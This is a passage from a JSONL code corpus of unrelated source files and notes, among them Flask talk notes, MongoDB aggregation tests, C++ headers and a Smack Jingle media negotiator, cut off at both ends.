../../Modules/FortranCInterface.cmake\n"} +{"text": "========================================\nOpening the Flask\n========================================\n\nby Armin Ronacher\n\nApril Fool's Joke\n=================\n\nDecided to mock the various microframeworks:\n\n * web.py\n * bottle\n * web2py\n \nFeatures\n--------\n\n * Eirik Lahavre\n * Entirely made up\n * \"Impressive scaling capabilities\"\n * one file framework\n \nWhat he learned\n---------------\n\n* people took him seriously\n* marketing beats quality\n* features don't matter\n* people aren't looking at source code\n* Does not have to be new\n\nInspiration\n===========\n\n* be honest\n* don't reinvent things\n* stay in touch with others\n\n\nDetails\n================\n\n* jinja2\n* wuerkzueg\n* optionally blinker for signaling\n* tons of documentation\n* \"best of breed\" code\n\nSome numbers\n------------\n\n* 800 LOC\n* 1500 LOC tests\n* 200 A4 Pages of Documentation\n\nEcosystem\n----------\n\n* Over 30 extensions\n* very active mailinglist\n* over 700 followers and 100 forks on github - yay\n\nDesign Decisions\n-----------------\n\n* use of Context Locals as globals\n\n * Rather than pass around the request object you can see it everywhere\n \n* No import time side effects\n* Explicit application setup\n\n * Applying WSGI middlewares\n * more than one app\n * testing\n * create app in function\n \n* circular imports\n* cached imports\n* keeps things simple\n\nExtensions\n-------------\n\n* Formal extension system\n* Approval process\n* Core must stay small so extensions must work with core\n\nLessons Learned\n------------------\n\n* Documentation matters\n\n * Use a clean documentation style and people will help document more\n * Documentation style for extensions\n * Simple visual design\n\n* Communication matters\n* Heartbeat signals\n* Consistency"} +{"text": "package com.vaadin.v7.tests.server.component.listselect;\n\nimport org.junit.Test;\n\nimport com.vaadin.tests.design.DeclarativeTestBase;\nimport com.vaadin.v7.ui.ListSelect;\n\npublic class ListSelectDeclarativeTest extends DeclarativeTestBase {\n\n private ListSelect getWithOptionsExpected() {\n ListSelect ls = new ListSelect();\n ls.setRows(10);\n ls.addItem(\"Male\");\n ls.addItem(\"Female\");\n return ls;\n }\n\n private String getWithOptionsDesign() {\n return \"\\n\"\n + \" \\n\"\n + \" \\n\"\n + \"\\n\" + \"\";\n }\n\n @Test\n public void testReadWithOptions() {\n testRead(getWithOptionsDesign(), getWithOptionsExpected());\n }\n\n @Test\n public void testWriteWithOptions() {\n testWrite(stripOptionTags(getWithOptionsDesign()),\n getWithOptionsExpected());\n }\n\n private ListSelect getBasicExpected() {\n ListSelect ls = new ListSelect();\n ls.setCaption(\"Hello\");\n return ls;\n }\n\n private String getBasicDesign() {\n return \"\";\n }\n\n @Test\n public void testReadBasic() {\n testRead(getBasicDesign(), getBasicExpected());\n }\n\n @Test\n public void testWriteBasic() {\n testWrite(getBasicDesign(), getBasicExpected());\n }\n\n}\n"} +{"text": "// Copyright 1998-2017 Epic Games, Inc. All Rights Reserved.\n\n#pragma once\n\n#include \"CoreMinimal.h\"\n#include \"Widgets/SWidget.h\"\n#include \"Widgets/Notifications/SNotificationList.h\"\n\nclass SLATE_API INotificationWidget\n{\npublic:\n\tvirtual void OnSetCompletionState(SNotificationItem::ECompletionState State) = 0;\n\tvirtual TSharedRef< SWidget > AsWidget() = 0;\n};\n"} +{"text": "Foo \n"} +{"text": "//-----------------------------------------------------------------------------\n//\n// Copyright (C) 2015-2017 David Hill\n//\n// See COPYING for license information.\n//\n//-----------------------------------------------------------------------------\n//\n// Scope classes.\n//\n//-----------------------------------------------------------------------------\n\n#ifndef ACSVM__Scope_H__\n#define ACSVM__Scope_H__\n\n#include \"Array.hpp\"\n#include \"List.hpp\"\n\n\n//----------------------------------------------------------------------------|\n// Types |\n//\n\nnamespace ACSVM\n{\n extern \"C\" using MapScope_ScriptStartFuncC = void (*)(void *);\n\n //\n // GlobalScope\n //\n class GlobalScope\n {\n public:\n static constexpr std::size_t ArrC = 256;\n static constexpr std::size_t RegC = 256;\n\n\n GlobalScope(GlobalScope const &) = delete;\n GlobalScope(Environment *env, Word id);\n ~GlobalScope();\n\n std::size_t countActiveThread() const;\n\n void exec();\n\n void freeHubScope(HubScope *scope);\n\n HubScope *getHubScope(Word id);\n\n bool hasActiveThread() const;\n\n void lockStrings() const;\n\n void loadState(Serial &in);\n\n void refStrings() const;\n\n void reset();\n\n void saveState(Serial &out) const;\n\n void unlockStrings() const;\n\n Environment *const env;\n Word const id;\n\n Array arrV[ArrC];\n Word regV[RegC];\n\n ListLink hashLink;\n ListLink scriptAction;\n\n bool active;\n\n private:\n struct PrivData;\n\n PrivData *pd;\n };\n\n //\n // HubScope\n //\n class HubScope\n {\n public:\n static constexpr std::size_t ArrC = 256;\n static constexpr std::size_t RegC = 256;\n\n\n HubScope(HubScope const &) = delete;\n HubScope(GlobalScope *global, Word id);\n ~HubScope();\n\n std::size_t countActiveThread() const;\n\n void exec();\n\n void freeMapScope(MapScope *scope);\n\n MapScope *getMapScope(Word id);\n\n bool hasActiveThread() const;\n\n void lockStrings() const;\n\n void loadState(Serial &in);\n\n void refStrings() const;\n\n void reset();\n\n void saveState(Serial &out) const;\n\n void unlockStrings() const;\n\n Environment *const env;\n GlobalScope *const global;\n Word const id;\n\n Array arrV[ArrC];\n Word regV[RegC];\n\n ListLink hashLink;\n ListLink scriptAction;\n\n bool active;\n\n private:\n struct PrivData;\n\n PrivData *pd;\n };\n\n //\n // MapScope\n //\n class MapScope\n {\n public:\n using ScriptStartFunc = void (*)(Thread *);\n using ScriptStartFuncC = MapScope_ScriptStartFuncC;\n\n //\n // ScriptStartInfo\n //\n class ScriptStartInfo\n {\n public:\n ScriptStartInfo() :\n argV{nullptr}, func{nullptr}, funcc{nullptr}, info{nullptr}, argC{0} {}\n ScriptStartInfo(Word const *argV_, std::size_t argC_,\n ThreadInfo const *info_ = nullptr, ScriptStartFunc func_ = nullptr) :\n argV{argV_}, func{func_}, funcc{nullptr}, info{info_}, argC{argC_} {}\n ScriptStartInfo(Word const *argV_, std::size_t argC_,\n ThreadInfo const *info_, ScriptStartFuncC func_) :\n argV{argV_}, func{nullptr}, funcc{func_}, info{info_}, argC{argC_} {}\n\n Word const *argV;\n ScriptStartFunc func;\n ScriptStartFuncC funcc;\n ThreadInfo const *info;\n std::size_t argC;\n };\n\n\n MapScope(MapScope const &) = delete;\n MapScope(HubScope *hub, Word id);\n ~MapScope();\n\n void addModules(Module *const *moduleV, std::size_t moduleC);\n\n std::size_t countActiveThread() const;\n\n void exec();\n\n Script *findScript(ScriptName name);\n Script *findScript(String *name);\n Script *findScript(Word name);\n\n ModuleScope *getModuleScope(Module *module);\n\n String *getString(Word idx) const;\n\n bool hasActiveThread() const;\n\n bool hasModules() const;\n\n bool isScriptActive(Script *script);\n\n void loadState(Serial &in);\n\n void lockStrings() const;\n\n void refStrings() const;\n\n void reset();\n\n void saveState(Serial &out) const;\n\n bool scriptPause(Script *script);\n bool scriptPause(ScriptName name, ScopeID scope);\n bool scriptStart(Script *script, ScriptStartInfo const &info);\n bool scriptStart(ScriptName name, ScopeID scope, ScriptStartInfo const &info);\n bool scriptStartForced(Script *script, ScriptStartInfo const &info);\n bool scriptStartForced(ScriptName name, ScopeID scope, ScriptStartInfo const &info);\n Word scriptStartResult(Script *script, ScriptStartInfo const &info);\n Word scriptStartResult(ScriptName name, ScriptStartInfo const &info);\n Word scriptStartType(Word type, ScriptStartInfo const &info);\n Word scriptStartTypeForced(Word type, ScriptStartInfo const &info);\n bool scriptStop(Script *script);\n bool scriptStop(ScriptName name, ScopeID scope);\n\n void unlockStrings() const;\n\n Environment *const env;\n HubScope *const hub;\n Word const id;\n\n ListLink hashLink;\n ListLink scriptAction;\n ListLink threadActive;\n\n // Used for untagged string lookup.\n Module *module0;\n\n bool active;\n bool clampCallSpec;\n\n protected:\n void freeThread(Thread *thread);\n\n private:\n struct PrivData;\n\n void loadModules(Serial &in);\n void loadThreads(Serial &in);\n\n void saveModules(Serial &out) const;\n void saveThreads(Serial &out) const;\n\n PrivData *pd;\n };\n\n //\n // ModuleScope\n //\n class ModuleScope\n {\n public:\n static constexpr std::size_t ArrC = 256;\n static constexpr std::size_t RegC = 256;\n\n\n ModuleScope(ModuleScope const &) = delete;\n ModuleScope(MapScope *map, Module *module);\n ~ModuleScope();\n\n void import();\n\n void loadState(Serial &in);\n\n void lockStrings() const;\n\n void refStrings() const;\n\n void saveState(Serial &out) const;\n\n void unlockStrings() const;\n\n Environment *const env;\n MapScope *const map;\n Module *const module;\n\n Array *arrV[ArrC];\n Word *regV[RegC];\n\n private:\n Array selfArrV[ArrC];\n Word selfRegV[RegC];\n };\n}\n\n#endif//ACSVM__Scope_H__\n\n"} +{"text": "//\n// Generated by class-dump 3.5 (64 bit).\n//\n// class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2013 by Steve Nygard.\n//\n\n#import \"NSTableView.h\"\n\n@class NSMutableDictionary;\n\n@interface BCKeyEventActionTableView : NSTableView\n{\n NSMutableDictionary *_keyEvents;\n}\n\n\n- (void)keyDown:(id)arg1;\n@property(retain, nonatomic) NSMutableDictionary *keyEvents; // @synthesize keyEvents=_keyEvents;\n- (void)setTarget:(id)arg1 action:(SEL)arg2 forKeyDownEventWithCharacters:(id)arg3;\n\n@end\n\n"} +{"text": "/**\n * Sets the default permissions to new users\n */\nMeteor.users.after.insert(function (userId, doc) {\n var curUserId = doc._id;\n\n if (orion.adminExists) {\n // if there is a admin created we will set the default roles.\n var defaultRoles = Options.get('defaultRoles');\n Roles.addUserToRoles(curUserId, defaultRoles);\n } else {\n // If there is no admin, we will add the admin role to this new user.\n Roles.addUserToRoles(curUserId, 'admin');\n // Pass to the client if the admin exists\n orion.adminExists = true;\n Inject.obj('adminExists', { exists: true });\n }\n});\n\n\n/**\n * Pass to the client if there is a admin account\n */\nif (Roles._collection) {\n orion.adminExists = Roles._collection.find({ roles: 'admin' }).count() !== 0;\n} else {\n orion.adminExists = Meteor.users.find({ roles: 'admin' }).count() !== 0;\n}\nInject.obj('adminExists', { exists: !!orion.adminExists });\nAccountsTemplates.configure({\n forbidClientAccountCreation: !!orion.adminExists\n});\n"} +{"text": "\"use strict\";\n\nvar validRegExp = require(\"../valid-reg-exp\")\n , re = /\\/[a-xz]*u[a-xz]*$/;\n\nmodule.exports = function () { return Boolean(String(validRegExp(this)).match(re)); };\n"} +{"text": "---\ntitle: CLI Reference\n---\n{% include reference.md %}\n\n* [jets build]({% link _reference/jets-build.md %})\n* [jets call]({% link _reference/jets-call.md %})\n* [jets clean:build]({% link _reference/jets-clean-build.md %})\n* [jets clean:log]({% link _reference/jets-clean-log.md %})\n* [jets console]({% link _reference/jets-console.md %})\n* [jets db:generate]({% link _reference/jets-db-generate.md %})\n* [jets dbconsole]({% link _reference/jets-dbconsole.md %})\n* [jets degenerate]({% link _reference/jets-degenerate.md %})\n* [jets delete]({% link _reference/jets-delete.md %})\n* [jets deploy]({% link _reference/jets-deploy.md %})\n* [jets dotenv:show]({% link _reference/jets-dotenv-show.md %})\n* [jets dynamodb:generate]({% link _reference/jets-dynamodb-generate.md %})\n* [jets dynamodb:migrate]({% link _reference/jets-dynamodb-migrate.md %})\n* [jets dynamodb:migrate:down]({% link _reference/jets-dynamodb-migrate-down.md %})\n* [jets gems:check]({% link _reference/jets-gems-check.md %})\n* [jets gems:sources]({% link _reference/jets-gems-sources.md %})\n* [jets generate]({% link _reference/jets-generate.md %})\n* [jets import:rack]({% link _reference/jets-import-rack.md %})\n* [jets import:rails]({% link _reference/jets-import-rails.md %})\n* [jets middleware]({% link _reference/jets-middleware.md %})\n* [jets new]({% link _reference/jets-new.md %})\n* [jets routes]({% link _reference/jets-routes.md %})\n* [jets runner]({% link _reference/jets-runner.md %})\n* [jets secret]({% link _reference/jets-secret.md %})\n* [jets server]({% link _reference/jets-server.md %})\n* [jets status]({% link _reference/jets-status.md %})\n* [jets upgrade]({% link _reference/jets-upgrade.md %})\n* [jets url]({% link _reference/jets-url.md %})\n* [jets version]({% link _reference/jets-version.md %})\n"} +{"text": "spec = \"https://tc39.github.io/ecma262/#sec-touint16\"\n\n[browsers]\nandroid = \"*\"\nbb = \"*\"\nchrome = \"*\"\nedge = \"*\"\nedge_mob = \"*\"\nfirefox = \"*\"\nfirefox_mob = \"*\"\nie = \"*\"\nie_mob = \"*\"\nios_chr = \"*\"\nios_saf = \"*\"\nop_mini = \"*\"\nop_mob = \"*\"\nopera = \"*\"\nsafari = \"*\"\nsamsung_mob = \"*\"\n\n"} +{"text": "fileFormatVersion: 2\nguid: ab5ca8171efd6403fa3e0f422eccde1e\nfolderAsset: yes\nDefaultImporter:\n externalObjects: {}\n userData: \n assetBundleName: \n assetBundleVariant: \n"} +{"text": "#!/bin/sh\n\nLC_ALL=C\nexport LC_ALL\n\ntest -z \"$srcdir\" && srcdir=.\ntest -z \"$top_srcdir\" && top_srcdir=$srcdir/../..\n\nSGML_DOCS=true\nFILES=`echo $srcdir/tmpl/*.sgml`\n\n. \"$top_srcdir/src/check-doc-syntax.sh\"\n"} +{"text": "/*\n * Licensed to the Apache Software Foundation (ASF) under one\n * or more contributor license agreements. See the NOTICE file\n * distributed with this work for additional information\n * regarding copyright ownership. The ASF licenses this file\n * to you under the Apache License, Version 2.0 (the\n * \"License\"); you may not use this file except in compliance\n * with the License. You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n/*\n * Modified by ScyllaDB\n * Copyright (C) 2015 ScyllaDB\n */\n\n/*\n * This file is part of Scylla.\n *\n * Scylla is free software: you can redistribute it and/or modify\n * it under the terms of the GNU Affero General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * Scylla is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with Scylla. If not, see .\n */\n\n#include \"cql3/cql_statement.hh\"\n#include \"modification_statement.hh\"\n#include \"service/storage_proxy.hh\"\n#include \"transport/messages/result_message.hh\"\n#include \"timestamp.hh\"\n#include \"log.hh\"\n#include \"to_string.hh\"\n#include \n#include \n#include \n#include \n#include \n\n#pragma once\n\nnamespace cql3 {\n\nnamespace statements {\n\nnamespace raw {\n\nclass batch_statement : public raw::cf_statement {\npublic:\n enum class type {\n LOGGED, UNLOGGED, COUNTER\n };\nprivate:\n type _type;\n std::unique_ptr _attrs;\n std::vector> _parsed_statements;\npublic:\n batch_statement(\n type type_,\n std::unique_ptr attrs,\n std::vector> parsed_statements)\n : cf_statement(nullptr)\n , _type(type_)\n , _attrs(std::move(attrs))\n , _parsed_statements(std::move(parsed_statements)) {\n }\n\n virtual void prepare_keyspace(const service::client_state& state) override {\n for (auto&& s : _parsed_statements) {\n s->prepare_keyspace(state);\n }\n }\n\n virtual std::unique_ptr prepare(database& db, cql_stats& stats) override;\n};\n\n}\n\n}\n}\n"} +{"text": "/* Copyright 2016-present MongoDB Inc.\n*\n* Licensed under the Apache License, Version 2.0 (the \"License\");\n* you may not use this file except in compliance with the License.\n* You may obtain a copy of the License at\n*\n* http://www.apache.org/licenses/LICENSE-2.0\n*\n* Unless required by applicable law or agreed to in writing, software\n* distributed under the License is distributed on an \"AS IS\" BASIS,\n* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n* See the License for the specific language governing permissions and\n* limitations under the License.\n*/\n\nusing System;\nusing System.Linq;\nusing FluentAssertions;\nusing MongoDB.Bson;\nusing MongoDB.Bson.Serialization;\nusing MongoDB.Bson.Serialization.Attributes;\nusing MongoDB.Bson.Serialization.Serializers;\nusing MongoDB.Bson.TestHelpers;\nusing MongoDB.Bson.TestHelpers.XunitExtensions;\nusing MongoDB.Driver.Core.Misc;\nusing MongoDB.Driver.Core.TestHelpers.XunitExtensions;\nusing Xunit;\n\nnamespace MongoDB.Driver.Tests\n{\n public class AggregateFluentBucketAutoTests\n {\n #region static\n // private static fields\n private static CollectionNamespace __collectionNamespace;\n private static IMongoDatabase __database;\n private static Lazy __ensureTestData;\n\n // static constructor\n static AggregateFluentBucketAutoTests()\n {\n var databaseNamespace = DriverTestConfiguration.DatabaseNamespace;\n __database = DriverTestConfiguration.Client.GetDatabase(databaseNamespace.DatabaseName);\n __collectionNamespace = DriverTestConfiguration.CollectionNamespace;\n __ensureTestData = new Lazy(CreateTestData);\n }\n\n // private static methods\n private static bool CreateTestData()\n {\n // test data is from: https://docs.mongodb.com/master/release-notes/3.4-reference/#pipe._S_bucketAuto\n\n __database.DropCollection(__collectionNamespace.CollectionName);\n\n var collection = __database.GetCollection(__collectionNamespace.CollectionName);\n collection.InsertMany(new[]\n {\n BsonDocument.Parse(\"{ _id: 1, title: \\\"The Pillars of Society\\\", artist : \\\"Grosz\\\", year: 1926, tags: [ \\\"painting\\\", \\\"satire\\\", \\\"Expressionism\\\", \\\"caricature\\\" ] }\"),\n BsonDocument.Parse(\"{ _id: 2, title: \\\"Melancholy III\\\", \\\"artist\\\" : \\\"Munch\\\", year: 1902, tags: [ \\\"woodcut\\\", \\\"Expressionism\\\" ] }\"),\n BsonDocument.Parse(\"{ _id: 3, title: \\\"Dancer\\\", \\\"artist\\\" : \\\"Miro\\\", year: 1925, tags: [ \\\"oil\\\", \\\"Surrealism\\\", \\\"painting\\\" ] }\"),\n BsonDocument.Parse(\"{ _id: 4, title: \\\"The Great Wave off Kanagawa\\\", artist: \\\"Hokusai\\\", tags: [ \\\"woodblock\\\", \\\"ukiyo-e\\\" ] }\")\n });\n\n return true;\n }\n\n private static void EnsureTestData()\n {\n var _ = __ensureTestData.Value;\n }\n\n #endregion\n\n // public methods\n [Fact]\n public void BucketAuto_should_add_expected_stage()\n {\n var collection = __database.GetCollection(__collectionNamespace.CollectionName);\n var subject = collection.Aggregate();\n var groupBy = (AggregateExpressionDefinition)\"$year\";\n var buckets = 4;\n\n var result = subject.BucketAuto(groupBy, buckets);\n\n var stage = result.Stages.Single();\n var renderedStage = stage.Render(BsonDocumentSerializer.Instance, BsonSerializer.SerializerRegistry);\n renderedStage.Document.Should().Be(\"{ $bucketAuto : { groupBy : \\\"$year\\\", buckets : 4 } }\");\n }\n\n [SkippableFact]\n public void BucketAuto_should_return_expected_result()\n {\n RequireServer.Check().Supports(Feature.AggregateBucketStage);\n EnsureTestData();\n var collection = __database.GetCollection(__collectionNamespace.CollectionName);\n var subject = collection.Aggregate();\n var groupBy = (AggregateExpressionDefinition)\"$year\";\n var buckets = 4;\n\n var result = subject.BucketAuto(groupBy, buckets).ToList();\n\n var comparer = AggregateBucketAutoResultEqualityComparer.Instance;\n result.WithComparer(comparer).Should().Equal(\n new AggregateBucketAutoResult(BsonNull.Value, 1902, 1),\n new AggregateBucketAutoResult(1902, 1925, 1),\n new AggregateBucketAutoResult(1925, 1926, 1),\n new AggregateBucketAutoResult(1926, 1926, 1));\n }\n\n [Fact]\n public void BucketAuto_with_granularity_should_add_expected_stage()\n {\n var collection = __database.GetCollection(__collectionNamespace.CollectionName);\n var subject = collection.Aggregate();\n var groupBy = (AggregateExpressionDefinition)\"$_id\";\n var buckets = 4;\n var options = new AggregateBucketAutoOptions { Granularity = AggregateBucketAutoGranularity.PowersOf2 };\n\n var result = subject.BucketAuto(groupBy, buckets, options);\n\n var stage = result.Stages.Single();\n var renderedStage = stage.Render(BsonDocumentSerializer.Instance, BsonSerializer.SerializerRegistry);\n renderedStage.Document.Should().Be(\"{ $bucketAuto : { groupBy : \\\"$_id\\\", buckets : 4, granularity : 'POWERSOF2' } }\");\n }\n\n [SkippableFact]\n public void BucketAuto_with_granularity_should_return_expected_result()\n {\n RequireServer.Check().Supports(Feature.AggregateBucketStage);\n EnsureTestData();\n var collection = __database.GetCollection(__collectionNamespace.CollectionName);\n var subject = collection.Aggregate();\n var groupBy = (AggregateExpressionDefinition)\"$_id\";\n var buckets = 4;\n var options = new AggregateBucketAutoOptions { Granularity = AggregateBucketAutoGranularity.PowersOf2 };\n\n var result = subject.BucketAuto(groupBy, buckets, options).ToList();\n\n var comparer = AggregateBucketAutoResultEqualityComparer.Instance;\n result.WithComparer(comparer).Should().Equal(\n new AggregateBucketAutoResult(0.5, 2.0, 1),\n new AggregateBucketAutoResult(2.0, 4.0, 2),\n new AggregateBucketAutoResult(4.0, 8.0, 1));\n }\n\n [Fact]\n public void BucketAuto_with_output_should_add_expected_stage()\n {\n var collection = __database.GetCollection(__collectionNamespace.CollectionName);\n var subject = collection.Aggregate();\n var groupBy = (AggregateExpressionDefinition)\"$year\";\n var buckets = 4;\n var output = (ProjectionDefinition)\"{ years : { $push : \\\"$year\\\" }, count : { $sum : 1 } }\";\n\n var result = subject.BucketAuto(groupBy, buckets, output);\n\n var stage = result.Stages.Single();\n var renderedStage = stage.Render(BsonDocumentSerializer.Instance, BsonSerializer.SerializerRegistry);\n renderedStage.Document.Should().Be(\"{ $bucketAuto : { groupBy : \\\"$year\\\", buckets : 4, output : { years : { $push : \\\"$year\\\" }, count : { $sum : 1 } } } }\");\n }\n\n [SkippableFact]\n public void BucketAuto_with_output_should_return_expected_result()\n {\n RequireServer.Check().Supports(Feature.AggregateBucketStage);\n EnsureTestData();\n var collection = __database.GetCollection(__collectionNamespace.CollectionName);\n var subject = collection.Aggregate();\n var groupBy = (AggregateExpressionDefinition)\"$year\";\n var buckets = 4;\n var output = (ProjectionDefinition)\"{ years : { $push : \\\"$year\\\" }, count : { $sum : 1 } }\";\n\n var result = subject.BucketAuto(groupBy, buckets, output).ToList();\n\n result.Should().Equal(\n BsonDocument.Parse(\"{ _id : { min : null, max : 1902 }, years : [ ], count : 1 }\"),\n BsonDocument.Parse(\"{ _id : { min : 1902, max : 1925 }, years : [ 1902 ], count : 1}\"),\n BsonDocument.Parse(\"{ _id : { min : 1925, max : 1926 }, years : [ 1925 ], count : 1 }\"),\n BsonDocument.Parse(\"{ _id : { min : 1926, max : 1926 }, years : [ 1926 ], count : 1 }\"));\n }\n\n [Fact]\n public void BucketAuto_typed_should_add_expected_stage()\n {\n var collection = __database.GetCollection(__collectionNamespace.CollectionName);\n var subject = collection.Aggregate();\n var buckets = 4;\n\n var result = subject.BucketAuto(x => (int?)x.Year, buckets);\n\n var stage = result.Stages.Single();\n var serializerRegistry = BsonSerializer.SerializerRegistry;\n var exhibitSerializer = serializerRegistry.GetSerializer();\n var renderedStage = stage.Render(exhibitSerializer, serializerRegistry);\n renderedStage.Document.Should().Be(\"{ $bucketAuto : { groupBy : \\\"$year\\\", buckets : 4 } }\");\n }\n\n [SkippableFact]\n public void BucketAuto_typed_should_return_expected_result()\n {\n RequireServer.Check().Supports(Feature.AggregateBucketStage);\n EnsureTestData();\n var collection = __database.GetCollection(__collectionNamespace.CollectionName);\n var subject = collection.Aggregate();\n var buckets = 4;\n\n var result = subject.BucketAuto(x => (int?)x.Year, buckets).ToList();\n\n var comparer = AggregateBucketAutoResultEqualityComparer.Instance;\n result.WithComparer(comparer).Should().Equal(\n new AggregateBucketAutoResult(null, 1902, 1),\n new AggregateBucketAutoResult(1902, 1925, 1),\n new AggregateBucketAutoResult(1925, 1926, 1),\n new AggregateBucketAutoResult(1926, 1926, 1));\n }\n\n [Fact]\n public void BucketAuto_typed_with_output_should_add_expected_stage()\n {\n var collection = __database.GetCollection(__collectionNamespace.CollectionName);\n var subject = collection.Aggregate();\n var buckets = 4;\n\n var result = subject.BucketAuto(\n e => e.Year,\n buckets,\n g => new { _id = default(AggregateBucketAutoResultId), Years = g.Select(e => e.Year), Count = g.Count() });\n\n var stage = result.Stages.Single();\n var serializerRegistry = BsonSerializer.SerializerRegistry;\n var exhibitSerializer = serializerRegistry.GetSerializer();\n var renderedStage = stage.Render(exhibitSerializer, serializerRegistry);\n renderedStage.Document.Should().Be(\"{ $bucketAuto : { groupBy : \\\"$year\\\", buckets : 4, output : { Years : { $push : \\\"$year\\\" }, Count : { $sum : 1 } } } }\");\n }\n\n [SkippableFact]\n public void BucketAuto_typed_with_output_should_return_expected_result()\n {\n RequireServer.Check().Supports(Feature.AggregateBucketStage);\n EnsureTestData();\n var collection = __database.GetCollection(__collectionNamespace.CollectionName);\n var subject = collection.Aggregate();\n var buckets = 4;\n\n var result = subject\n .BucketAuto(\n e => e.Year,\n buckets,\n g => new { _id = default(AggregateBucketAutoResultId), Years = g.Select(e => e.Year), Count = g.Count() })\n .ToList();\n\n result.Select(r => r._id.Min).Should().Equal(null, 1902, 1925, 1926);\n result.Select(r => r._id.Max).Should().Equal(1902, 1925, 1926, 1926);\n result[0].Years.Should().Equal(new int[0]);\n result[1].Years.Should().Equal(new int[] { 1902 });\n result[2].Years.Should().Equal(new int[] { 1925 });\n result[3].Years.Should().Equal(new int[] { 1926 });\n result.Select(r => r.Count).Should().Equal(1, 1, 1, 1);\n }\n\n // nested types\n private class Exhibit\n {\n [BsonId]\n public int Id { get; set; }\n [BsonElement(\"title\")]\n public string Title { get; set; }\n [BsonElement(\"year\")]\n public int Year { get; set; }\n [BsonElement(\"tags\")]\n public string[] Tags { get; set; }\n }\n }\n}\n"} +{"text": "/*\n * Copyright 2005,2006 WSO2, Inc. http://www.wso2.org\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage samples;\n\nimport java.io.BufferedReader;\nimport java.io.InputStreamReader;\nimport java.io.IOException;\n\n\npublic class StdInReader {\n /**\n * Reads an input from the keyboard and returns it as an string\n * @return A string representing the keyboard input\n * @throws IOException\n */\n public static String readLine() throws IOException {\n BufferedReader stdIn = new BufferedReader(new InputStreamReader(System.in));\n return stdIn.readLine();\n }\n}\n"} +{"text": "/**\n *\n * Copyright 2003-2005 Jive Software.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage org.jivesoftware.smackx.jingleold.media;\n\nimport java.util.ArrayList;\nimport java.util.List;\nimport java.util.logging.Logger;\n\nimport org.jivesoftware.smack.SmackException.NotConnectedException;\nimport org.jivesoftware.smack.XMPPException;\nimport org.jivesoftware.smack.packet.IQ;\n\nimport org.jivesoftware.smackx.jingleold.ContentNegotiator;\nimport org.jivesoftware.smackx.jingleold.JingleActionEnum;\nimport org.jivesoftware.smackx.jingleold.JingleException;\nimport org.jivesoftware.smackx.jingleold.JingleNegotiator;\nimport org.jivesoftware.smackx.jingleold.JingleNegotiatorState;\nimport org.jivesoftware.smackx.jingleold.JingleSession;\nimport org.jivesoftware.smackx.jingleold.listeners.JingleListener;\nimport org.jivesoftware.smackx.jingleold.listeners.JingleMediaListener;\nimport org.jivesoftware.smackx.jingleold.packet.Jingle;\nimport org.jivesoftware.smackx.jingleold.packet.JingleContent;\nimport org.jivesoftware.smackx.jingleold.packet.JingleDescription;\nimport org.jivesoftware.smackx.jingleold.packet.JingleError;\n\n/**\n * Manager for jmf descriptor negotiation. This class is responsible\n * for managing the descriptor negotiation process, handling all the xmpp\n * packets interchange and the stage control. handling all the xmpp packets\n * interchange and the stage control.\n *\n * @author Thiago Camargo\n */\n@SuppressWarnings(\"UnusedVariable\")\npublic class MediaNegotiator extends JingleNegotiator {\n\n private static final Logger LOGGER = Logger.getLogger(MediaNegotiator.class.getName());\n\n // private JingleSession session; // The session this negotiation\n\n private final JingleMediaManager mediaManager;\n\n // Local and remote payload types...\n\n private final List localAudioPts = new ArrayList<>();\n\n private final List remoteAudioPts = new ArrayList<>();\n\n private PayloadType bestCommonAudioPt;\n\n private ContentNegotiator parentNegotiator;\n\n /**\n * Default constructor. The constructor establishes some basic parameters,\n * but it does not start the negotiation. For starting the negotiation, call\n * startNegotiation.\n *\n * @param session TODO javadoc me please\n * @param mediaManager the media manager.\n * @param pts the list of payload types.\n * @param parentNegotiator the parent content negotiator.\n */\n public MediaNegotiator(JingleSession session, JingleMediaManager mediaManager, List pts,\n ContentNegotiator parentNegotiator) {\n super(session);\n\n this.mediaManager = mediaManager;\n this.parentNegotiator = parentNegotiator;\n\n bestCommonAudioPt = null;\n\n if (pts != null) {\n if (pts.size() > 0) {\n localAudioPts.addAll(pts);\n }\n }\n }\n\n /**\n * Returns the media manager for this negotiator.\n *\n * @return the media manager.\n */\n public JingleMediaManager getMediaManager() {\n return mediaManager;\n }\n\n /**\n * Dispatch an incoming packet. The method is responsible for recognizing\n * the stanza type and, depending on the current state, delivering the\n * stanza to the right event handler and wait for a response.\n *\n * @param iq TODO javadoc me please\n * the stanza received\n * @return the new Jingle stanza to send.\n * @throws XMPPException if an XMPP protocol error was received.\n * @throws NotConnectedException if the XMPP connection is not connected.\n * @throws InterruptedException if the calling thread was interrupted.\n */\n @Override\n public List dispatchIncomingPacket(IQ iq, String id) throws XMPPException, NotConnectedException, InterruptedException {\n List responses = new ArrayList<>();\n IQ response = null;\n\n if (iq.getType().equals(IQ.Type.error)) {\n // Process errors\n setNegotiatorState(JingleNegotiatorState.FAILED);\n triggerMediaClosed(getBestCommonAudioPt());\n // This next line seems wrong, and may subvert the normal closing process.\n throw new 